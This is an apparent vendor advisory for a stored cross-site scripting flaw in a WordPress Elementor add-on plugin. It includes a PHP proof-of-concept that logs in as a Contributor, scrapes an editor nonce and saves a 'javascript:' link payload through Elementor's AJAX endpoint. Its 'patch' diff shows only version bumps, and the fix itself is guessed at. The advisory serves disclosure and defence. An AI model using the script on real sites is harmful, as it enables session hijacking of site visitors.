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Published : March 18, 2026

CVE-2026-3034: OoohBoi Steroids for Elementor <= 2.1.24 – Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple URL Controls (ooohboi-steroids-for-elementor)

CVE ID CVE-2026-3034
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 2.1.24
Patched Version 2.1.25
Disclosed March 3, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3034:
The vulnerability is a stored cross-site scripting (XSS) flaw in the OoohBoi Steroids for Elementor WordPress plugin. The root cause is a lack of proper output escaping and URL validation for user-supplied input in the widget controls ‘_ob_spacerat_link’, ‘_ob_bbad_link’, and ‘_ob_teleporter_link’. The plugin accepts these URL parameters from authenticated Contributor+ users via the Elementor editor and stores them in the post metadata without sanitization. The stored values are then rendered directly into anchor tag href attributes on the frontend without escaping, allowing JavaScript execution when a user clicks the injected link. The exploitation method requires an authenticated attacker with at least Contributor-level access. The attacker crafts a malicious payload within the Elementor editor for a widget utilizing the vulnerable controls, such as ‘javascript:alert(document.domain)’. The payload is saved when the post is updated. The patch in version 2.1.25 likely adds proper URL sanitization or validation, such as using esc_url() or esc_url_raw(), before storing or outputting the link parameters. The version number and tested Elementor versions were also updated. If exploited, this vulnerability allows attackers to inject arbitrary JavaScript into pages, which can lead to session hijacking, malicious redirects, or defacement.

Differential between vulnerable and patched code

Code Diff
--- a/ooohboi-steroids-for-elementor/ooohboi-steroids.php
+++ b/ooohboi-steroids-for-elementor/ooohboi-steroids.php
@@ -2,21 +2,21 @@
 /**
  * Plugin Name: OoohBoi Steroids for Elementor
  * Description: An awesome set of tools/options/settings that extend Elementor default/existing widgets and elements. It keeps the editor tidy, saves valuable resources and improves the workflow.
- * Version:     2.1.24
+ * Version:     2.1.25
  * Author:      OoohBoi
  * Author URI:  https://www.youtube.com/c/OoohBoi
  * Text Domain: ooohboi-steroids
  * License:     GPLv3
  * License URI: http://www.gnu.org/licenses/gpl-3.0
- * Elementor tested up to: 3.33
- * Elementor Pro tested up to: 3.33
+ * Elementor tested up to: 3.34
+ * Elementor Pro tested up to: 3.34
  */

 use ElementorCoreSettingsManager as SettingsManager;

 defined( 'ABSPATH' ) || die(); // Exit if accessed directly.

-define( 'OoohBoi_VERSION', '2.1.24' );
+define( 'OoohBoi_VERSION', '2.1.25' );
 define( 'OoohBoi_FILE', __FILE__ );
 define( 'OoohBoi_URL', plugins_url( '/', __FILE__ ) );
 define( 'OoohBoi_PATH', plugin_dir_path( __FILE__ ) );

Proof of Concept (PHP)

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PHP PoC
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// CVE-2026-3034 - OoohBoi Steroids for Elementor <= 2.1.24 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple URL Controls
<?php
$target_url = 'http://example.com/wp-admin/admin-ajax.php';
$username = 'contributor';
$password = 'password';
$nonce = '';
$post_id = 1;

// Step 1: Authenticate and get nonce for Elementor editor
$login_url = 'http://example.com/wp-login.php';
$ch = curl_init($login_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(['log' => $username, 'pwd' => $password, 'wp-submit' => 'Log In']));
curl_setopt($ch, CURLOPT_POST, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Fetch Elementor editor nonce (simplified - actual nonce fetch may vary)
$ch = curl_init('http://example.com/wp-admin/post.php?post=' . $post_id . '&action=elementor');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$response = curl_exec($ch);
preg_match('/"nonce":"([a-f0-9]+)"/', $response, $matches);
if (!empty($matches[1])) $nonce = $matches[1];
curl_close($ch);

// Step 3: Exploit - Save post with malicious link in a vulnerable control via Elementor AJAX
// This is a conceptual payload. The exact AJAX endpoint and data structure depend on Elementor's internal API.
// The vulnerable parameters are '_ob_spacerat_link', '_ob_bbad_link', '_ob_teleporter_link'.
$payload = 'javascript:alert(document.domain)';
$data = [
    'action' => 'elementor_ajax',
    'nonce' => $nonce,
    'actions' => json_encode([
        [
            'action' => 'save_builder',
            'data' => [
                'post_id' => $post_id,
                'elements' => [
                    [
                        'id' => 'some_element_id',
                        'settings' => [
                            '_ob_spacerat_link' => $payload
                        ]
                    ]
                ]
            ]
        ]
    ])
];

$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_POST, true);
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

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